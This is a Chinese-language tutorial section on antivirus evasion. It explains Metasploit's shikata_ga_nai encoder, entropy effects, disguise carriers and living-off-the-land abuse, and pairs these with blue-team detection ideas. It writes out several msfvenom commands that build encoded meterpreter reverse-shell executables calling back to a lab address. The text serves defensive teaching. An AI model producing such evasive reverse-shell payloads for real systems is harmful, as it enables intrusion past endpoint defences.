本节摘要:SOURCE 6.1:Metasploit Encoder(如
x86/shikata_ga_nai)多态 XOR;现代 NGAV/EDR 靠行为检测,简单编码不足以绕过生产环境。
静态免杀的本质是"身份伪装与特征重构"。先看基础操作:用编码器改变 payload 的静态特征。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 \ -e x86/shikata_ga_nai -i 3 -f exe -o enc.exe # -e 指定编码器;-i 3 迭代编码 3 次 # 对比未编码版本 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 \ -f exe -o raw.exe ls -la raw.exe enc.exe # enc.exe 体积更大:多态解码存根 + 多层编码
SOURCE:shikata_ga_nai 通过迭代编码改变静态特征;但 Virustotal 多引擎 仍可能报毒。编码改变的是字节序列,不是行为本身。
杀毒厂商从恶意样本提取独一无二的字节序列作为指纹存入病毒库,扫描时精确匹配。编码器的思路是:不改变执行逻辑,只改变表现形态——通过变换使磁盘上的字节序列完全不同,从而规避特征码匹配。
shikata_ga_nai(日语"没办法")是 MSF 里唯一被评为 excellent 的流加密编码器。它的核心是多态:每次生成 payload 时随机重写解码存根。
编码过程(教学示意) 原始 Shellcode --XOR--> 密文(密钥随机生成) 解码存根(每次随机重写指令序列、寄存器使用、垃圾指令位置) 运行时:解码器在内存中还原 Shellcode 再执行
数学本质(对称性) C = P ⊕ K (编码) P = C ⊕ K (解码,同一密钥) 滚动密钥:K 随解码过程动态更新,抗单字节爆破
多态的意义:传统编码器解码存根固定,一旦被提取为特征码全部失效;shikata 每次生成不同存根,特征码无法复用。
一层不够就多层——迭代编码构建"洋葱":每层编码包裹外层,运行时由外向内逐层解密。但代价是熵值急剧升高:高熵文件(字节分布均匀、接近随机噪声)本身就是疑点,启发式引擎会把"高熵 + 解码器循环模式"标记为可疑。
# 观察熵值影响的思路(教学演示) msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 \ -e x86/shikata_ga_nai -i 1 -f exe -o one.exe msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 \ -e x86/shikata_ga_nai -i 10 -f exe -o ten.exe # ten.exe 体积与随机度明显更高,更易被沙箱/启发式判定
香农熵视角 H = -Σ p_i · log2(p_i) 随机数据 H → 8;正常 exe 因重复模式 H 较低 迭代编码把文件推向高熵,成为新的"特征"
现代启发式引擎甚至用抽象解释识别"循环 + 异或 + 写内存"的解码器模式,不依赖具体特征码就能告警。
| 手段 | 对抗 | 局限 |
|---|---|---|
| Encoder | 特征码 AV | 行为沙箱 |
| 加壳 | 静态扫描 | 内存扫描 |
| 自定义 loader | 签名库 | EDR 内核回调 |
Encoder 属于"静态层对抗",只能应付特征码匹配。现代 NGAV/EDR 的检测重心早已移到行为层:进程注入、异常内存权限、C2 通信模式。这也是本教程反复强调"理解免杀是为了写检测规则"的原因。
VirtualProtect / VirtualAlloc + 可执行权限变更# 蓝队检测思路示例(教学框架,非完整规则) 1. 进程行为:无文件执行、远程线程创建、LSASS 访问 2. 文件特征:高熵 exe、异常多段编码段 3. 网络特征:非常规 C2 心跳、SOCKS 隧道、HTTPS 伪装
⚠️ 法律与伦理:免杀研究仅限授权防御研究;禁止用于恶意软件传播。生成、测试、分发对抗性 payload 均须在隔离环境与授权框架内进行。
💡 关键直觉:免杀是军备竞赛;蓝队应假设 MSF 级工具能进内网。学习编码器不是为了绕过,而是为了知道"绕过长什么样",才能建有效的检测。
编码只是第一层对抗。更进一步的静态免杀思路是"模板伪装"——把恶意代码藏进受信任的载体:
常见伪装载体 1. 官方安装包/白名单程序(使用合法签名的 exe 做宿主) 2. 文档宏(Word/Excel 宏代码,诱导用户启用) 3. 压缩包/图片隐写(payload 藏在图片后段) 4. 内存加载器(宿主程序只负责下载并在内存执行,磁盘无恶意文件)
# 伪装思路的本质 把"不信任的新程序"变成"信任链上的一个环节" - 签名的宿主程序 → 通过签名校验 - 合法的办公文档 → 通过内容审查 - 内存中动态组装 → 磁盘无特征
# 观察加密与压缩对特征的影响(教学演示思路) # 对比同一 payload 在"裸奔/单层编码/压缩壳"下的检出率差异 # 需要隔离环境与授权测试权限,不可在真实环境操作
白利用(Living-off-the-land)的核心是:不引入新文件,只用系统已有的合法工具(PowerShell、wmic、mshta 等)完成恶意动作。它对"文件签名/白名单"类防御的绕过效果远好于编码器——这也是为什么蓝队要把"Office 宏 + 子进程 spawn"列入重点监控。
免杀是一场军备竞赛,但作为学习者必须建立正确的框架:
正确姿势 - 研究目的是理解特征与行为,反向设计检测规则 - 在隔离环境验证假设,数据用于论文/报告 - 认识到"能过测试"不等于"能实战",生产环境对抗复杂度高得多 错误姿势 - 把免杀结果当炫耀资本 - 用绕过真实企业防护来证明自己 - 传播/分发对抗性样本
# 蓝队用同一套知识做的事 1. 用 msfvenom 生成样本,测试自家 AV/EDR 检出能力 2. 分析编码器输出,提炼解码器模式写 YARA 规则 3. 建立内存行为基线,覆盖无文件攻击 4. 针对白利用向量,强化"宏/脚本/子进程"策略
理解对手的工具,才能建设有效的防御。这是本教程把免杀放入"实践与伦理"章的初衷。
告警:进程 xyz.exe 从高熵段申请可执行内存后创建远程线程 场景:loader 在内存解压并注入 shellcode 建议规则:RWX 内存申请 + 远程线程创建 + 非常规进程 告警:Office 文档启用宏后 spawn 了 powershell.exe 场景:文档宏投递链 建议规则:宏执行策略 + 子进程白名单 告警:主机频繁外联非常规端口(长连接 + 周期性) 场景:C2 心跳 建议规则:外联白名单 + 流量行为建模
这三个示例覆盖了静态编码、白利用、网络通道三类对抗,对应本章"静态 vs 动态"的结论:检测必须分层,不能只靠特征库。
⚠️ 再强调一次:本节全部示例均为教学性质,聚焦机制理解与防御设计。任何形式的对抗性 payload 生成、分发、测试,都必须在隔离环境与书面授权内进行。